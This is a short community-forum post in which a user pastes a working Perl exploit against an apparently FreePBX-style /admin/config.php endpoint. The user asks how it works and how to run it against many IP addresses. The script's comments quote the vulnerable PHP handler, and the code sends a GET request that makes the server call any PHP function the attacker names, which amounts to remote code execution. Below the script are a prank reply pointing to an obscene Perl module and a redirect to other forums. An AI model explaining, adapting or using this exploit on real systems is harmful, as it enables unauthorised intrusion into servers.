Perl Help :(
Dear Perl expert i Want To know How this Script Work Please
_____________________________________________________________________
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
# in /admin/config.php
# // handle special requests
# if (!isset($no_auth) && isset($_REQUEST['handler'])) {
# $module = isset($_REQUEST['module']) ? $_REQUEST['module'] : '';
# $file = isset($_REQUEST['file']) ? $_REQUEST['file'] : '';
# fileRequestHandler($_REQUEST['handler'], $module, $file);
# exit();
# }
# in /admin/library/view.functions.php
# case 'api':
# if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
# $function = $_REQUEST['function'];
# $args = isset($_REQUEST['args'])?$_REQUEST['args']:'';
#
# //currently works for one arg functions, eventually need to clean this up to except more args
# $result = $function($args);
# $jr = json_encode($result);
# } else {
# $jr = json_encode(null);
# }
# header("Content-type: application/json");
# echo $jr;
# break;
$| = 1;
my $sock = new IO::Socket::INET (
PeerHost => $ARGV[0],
PeerPort => '80',
Proto => 'tcp',
);
die "$!\n" unless $sock;
my $func = $ARGV[1];
my $args = "";
my $i = 0;
my $max = 1;
foreach(@ARGV) {
if ($i > 1) {
$args .= $_;
}
unless($i > (scalar(@ARGV) - 2)) {
$args .= "%20";
}
$i++;
}
my $payload = "display=A&handler=api&file=A&module=A&function=" . $func . "&args=" . $args;
chomp($payload);
print "payload is " . $payload . "\n";
my $packet = "GET http://" . $ARGV[0] . "/admin/config.php?" . $payload . "\r\n\r\n";
my $size = $sock->send($packet);
shutdown($sock, 1);
my $resp;
$sock->recv($resp, 1024);
print $resp . "\n";
$sock->close();
exit(0);
______________________________________________________________________
I Need To know totally how it work and which values need to change if i want to use it in more than IP Address
mohamed i am not an expert but if you want to try something you can add the following under use IO::Socket;
use Acme::Goatse;
print goatse();
and see if the output tells you anything?
This is a community blog, not a help forum. You'll get better answers asking in PerlMonks, StackOverflow, or IRC.